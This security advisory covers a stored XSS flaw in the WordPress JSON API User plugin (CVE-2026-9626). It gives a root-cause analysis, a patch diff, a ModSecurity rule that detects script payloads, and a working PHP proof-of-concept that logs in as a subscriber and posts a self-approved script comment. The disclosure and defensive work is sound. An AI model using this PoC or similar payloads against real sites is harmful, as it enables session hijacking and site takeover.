Atomic Edge analysis of CVE-2026-9626: This vulnerability allows authenticated attackers with subscriber-level access or higher to inject and store arbitrary web scripts in WordPress comments via the JSON API User plugin versions up to and including 4.1.0. The flaw achieves a CVSS score of 6.4 and is categorized under CWE-79 (Improper Neutralization of Input During Web Page Generation).
The root cause lies in the post_comment() function within the file json-api-user/controllers/User.php. In the vulnerable code, the function directly used the unsanitized ‘content’ parameter from the request ($json_api->query->content) and passed it to wp_insert_comment(). This function bypasses WordPress’s standard comment content sanitization filters, such as wp_filter_kses() and wp_kses_post(), which normally strip or encode malicious HTML and JavaScript. Additionally, the vulnerable code allowed an attacker to set the ‘comment_status’ parameter to ‘1’ (approved) through the API request, enabling the attacker to self-approve the comment and bypass any moderation queues. Specifically, on lines 973-1010 of the vulnerable version, the function extracted $comment_status directly from user input and passed it as ‘comment_approved’ => $comment_status to the wp_insert_comment() call.
An attacker with a subscriber-level account can exploit this by sending a POST request to the WordPress JSON API endpoint, typically /api/user/post_comment/. The request must include the ‘post_id’ of a valid post that accepts comments, the ‘content’ parameter containing the malicious XSS payload (e.g., alert(document.cookie)), and the ‘comment_status’ parameter set to ‘1’. The attacker’s user token or nonce provides the authenticated context. The plugin then inserts this unsanitized content directly into the WordPress comments table. When any user, including an administrator, views the page containing that comment, the injected script executes in their browser, leading to potential session hijacking, credential theft, or defacement.
The patch in version 4.1.2 addresses the vulnerability through multiple changes in the post_comment() method. First, it sanitizes the ‘content’ input by calling wp_unslash() and then wp_filter_post_kses(), which strips out dangerous HTML tags and attributes according to the site’s ‘post’ KSES rules. Second, it replaces the direct wp_insert_comment() call with wp_new_comment(). wp_new_comment() is the standard WordPress function for inserting comments; it applies the pre_comment_content filter (which runs wp_filter_kses), enforces comment moderation settings (like flood checks, manual approval, and Akismet), and fires the standard hooks that other plugins expect. Third, the patch removes the attacker’s ability to arbitrarily set comment_approved to 1. The new code only sets comment_approved to 1 if the requesting user has the ‘moderate_comments’ capability, verified via current_user_can(‘moderate_comments’). The variable $requested_status is checked, but the forced approval is conditional on the user’s capability. Instead of allowing direct approval via the API parameter, the patch lets wp_new_comment() handle the comment’s approval status based on WordPress’s standard moderation workflow. Finally, the patch adds validation for the post_id, ensuring the post exists and comments are open, and includes error handling for wp_new_comment() returning a WP_Error object.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the infected comment page. This includes administrators, which can lead to a full compromise of the WordPress site. The attacker could steal administrator session cookies, perform actions on behalf of the administrator (such as creating new admin accounts, installing plugins, or modifying site content), or redirect users to malicious sites. The stored XSS payload persists in the database, affecting every subsequent page view that loads the comment. This impact can escalate to complete site takeover.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/json-api-user/controllers/User.php
+++ b/json-api-user/controllers/User.php
@@ -1,5 +1,10 @@
<?php
+// Prevent direct access to this file.
+if (!defined('ABSPATH')) {
+ exit;
+}
+
/*
Controller name: User
Controller description: User Registration, Authentication, User Info, User Meta, FB Login, BuddyPress xProfile Fields methods
@@ -973,38 +978,76 @@
$json_api->error("Please include 'content' var in your request.");
}
- if (!isset($json_api->query->comment_status)) {
- $json_api->error("Please include 'comment_status' var in your request. Possible values are comment_status=1 (approved) or comment_status=hold (not-approved)");
- } else
- $comment_status = $json_api->query->comment_status;
+ $post_id = absint($json_api->query->post_id);
- if ($comment_status == 'hold')
- $comment_status = 0;
+ if (!$post_id || !get_post($post_id)) {
+ $json_api->error("Invalid 'post_id'. The specified post does not exist.");
+ }
+
+ if (!comments_open($post_id)) {
+ $json_api->error("Comments are closed for this post.");
+ }
+ // Sanitize the comment content the same way WordPress core does for
+ // trusted contexts: strip any markup/attributes not allowed by the
+ // site's kses post rules. This prevents stored XSS via raw <script>,
+ // onerror=, javascript: URIs, etc. being persisted and later
+ // rendered unescaped on the front end.
+ $content = wp_unslash($json_api->query->content);
+ $content = wp_filter_post_kses($content);
+
+ if ('' === trim(wp_strip_all_tags($content))) {
+ $json_api->error("Comment 'content' is empty after sanitization.");
+ }
+
+ // Make sure WordPress treats this request as coming from the
+ // authenticated user (wp_new_comment() / its filters rely on the
+ // current user context, e.g. for comment_author_* fallback and the
+ // comments_flood filter).
+ wp_set_current_user($user_id);
$user_info = get_userdata($user_id);
- $time = current_time('mysql');
- $agent = $_SERVER['HTTP_USER_AGENT'];
- $ip = $_SERVER['REMOTE_ADDR'];
-
- $data = array(
- 'comment_post_ID' => $json_api->query->post_id,
- 'comment_author' => $user_info->user_login,
+ // comment_approved must NOT be settable by arbitrary authenticated
+ // users — only users who actually have moderation rights are
+ // allowed to self-approve a comment. Everyone else is always
+ // moderated according to the site's normal comment workflow
+ // (handled internally by wp_new_comment()).
+ $requested_status = isset($json_api->query->comment_status)
+ ? $json_api->query->comment_status
+ : 'hold';
+
+ $commentdata = array(
+ 'comment_post_ID' => $post_id,
+ 'comment_author' => $user_info->user_login,
'comment_author_email' => $user_info->user_email,
- 'comment_author_url' => $user_info->user_url,
- 'comment_content' => $json_api->query->content,
- 'comment_type' => '',
- 'comment_parent' => 0,
- 'user_id' => $user_info->ID,
- 'comment_author_IP' => $ip,
- 'comment_agent' => $agent,
- 'comment_date' => $time,
- 'comment_approved' => $comment_status,
+ 'comment_author_url' => $user_info->user_url,
+ 'comment_content' => $content,
+ 'comment_type' => '',
+ 'comment_parent' => 0,
+ 'user_id' => $user_info->ID,
+ 'comment_author_IP' => $_SERVER['REMOTE_ADDR'],
+ 'comment_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '',
);
- //print_r($data);
+ if ($requested_status === '1' && current_user_can('moderate_comments')) {
+ // Only explicitly privileged users may force-approve their own
+ // comment; wp_new_comment() still runs all standard filters
+ // (e.g. pre_comment_content, comment moderation, flood checks).
+ $commentdata['comment_approved'] = 1;
+ }
+
+ // wp_new_comment() — unlike wp_insert_comment() — runs the
+ // pre_comment_content filter (which applies wp_filter_kses /
+ // wp_kses_post depending on context), enforces comment moderation
+ // settings (akismet, blacklist, flood checks, manual approval
+ // requirements), and fires the standard comment hooks that other
+ // plugins expect to run. Calling wp_insert_comment() directly, as
+ // the previous implementation did, bypassed all of this.
+ $comment_id = wp_new_comment($commentdata, true);
- $comment_id = wp_insert_comment($data);
+ if (is_wp_error($comment_id)) {
+ $json_api->error($comment_id->get_error_message());
+ }
return array(
"comment_id" => $comment_id
--- a/json-api-user/json-api-user.php
+++ b/json-api-user/json-api-user.php
@@ -1,5 +1,10 @@
<?php
+// Prevent direct access to this file.
+if (!defined('ABSPATH')) {
+ exit;
+}
+
/*
Plugin Name: JSON API User
@@ -8,7 +13,7 @@
Description: Extends the JSON API for RESTful user registration, authentication, password reset, Facebook Login, user meta and BuddyPress Profile related functions. A Pro version is also available.
- Version: 4.1.0
+ Version: 4.1.2
Author: Ali Qureshi
@@ -18,7 +23,7 @@
*/
-define('JAU_VERSION', '4.1.0');
+define('JAU_VERSION', '4.1.2');
include_once(ABSPATH . 'wp-admin/includes/plugin.php');
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9626
# Block XSS payloads in the 'content' parameter of the JSON API User post_comment endpoint
SecRule REQUEST_URI "@contains /api/user/post_comment/"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-9626 - Stored XSS via content parameter',severity:'CRITICAL',tag:'CVE-2026-9626',tag:'wordpress',tag:'json-api-user',tag:'xss'"
SecRule ARGS:content "@rx <script[^>]*>"
"t:urlDecode,t:lowercase,chain"
SecRule ARGS:comment_status "@streq 1" "t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9626 - JSON API User <= 4.1.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'content' Parameter
/**
* This PoC demonstrates the stored XSS vulnerability.
* It requires subscriber-level credentials and a valid post ID.
*
* Usage: php poc.php
* Configure $target_url, $username, and $password below.
*/
/* ======== CONFIGURATION ======== */
$target_url = 'http://example.com'; // The base URL of the WordPress site
$username = 'subscriber';
$password = 'password';
$post_id = 1; // A post ID that has comments open
/* =============================== */
$api_base = rtrim($target_url, '/') . '/api/user';
// Step 1: Generate authentication nonce
$nonce_url = $api_base . '/get_nonce/?controller=user&method=generate_auth_cookie';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('cURL error (nonce): ' . curl_error($ch) . "n");
}
curl_close($ch);
$nonce_data = json_decode($response, true);
if (!isset($nonce_data['nonce'])) {
die('Failed to get nonce. Response: ' . $response . "n");
}
$nonce = $nonce_data['nonce'];
echo "[+] Got nonce: $noncen";
// Step 2: Authenticate and get cookie
$auth_url = $api_base . '/generate_auth_cookie/';
$auth_payload = http_build_query(array(
'nonce' => $nonce,
'username' => $username,
'password' => $password,
));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $auth_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $auth_payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, true); // To capture cookie
$response = curl_exec($ch);
if (curl_error($ch)) {
die('cURL error (auth): ' . curl_error($ch) . "n");
}
curl_close($ch);
// Extract cookie
preg_match('/^Set-Cookie: ([^=]+=[^;]+)/im', $response, $matches);
if (!isset($matches[1])) {
die('Failed to get auth cookie. Response:n' . $response);
}
$cookie = $matches[1];
echo "[+] Got cookie: $cookien";
// Step 3: Post a malicious comment with XSS payload
$comment_url = $api_base . '/post_comment/';
// The XSS payload: simple script alert
$xss_payload = '<script>alert("XSS_VULN_CVE_2026_9626");</script>';
$comment_payload = http_build_query(array(
'nonce' => $nonce,
'post_id' => $post_id,
'content' => $xss_payload,
'comment_status' => '1', // Request immediate approval
));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $comment_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $comment_payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: ' . $cookie,
'Content-Type: application/x-www-form-urlencoded',
));
$response = curl_exec($ch);
if (curl_error($ch)) {
die('cURL error (comment): ' . curl_error($ch) . "n");
}
curl_close($ch);
$comment_data = json_decode($response, true);
if (isset($comment_data['comment_id'])) {
echo "[+] Comment posted successfully. Comment ID: " . $comment_data['comment_id'] . "n";
echo "[+] Visit the post page to trigger the stored XSS payload.n";
echo "[+] The injected script will alert:n";
echo " $xss_payloadn";
} else {
echo "[-] Failed to post comment. Response:n";
print_r($comment_data);
}
?>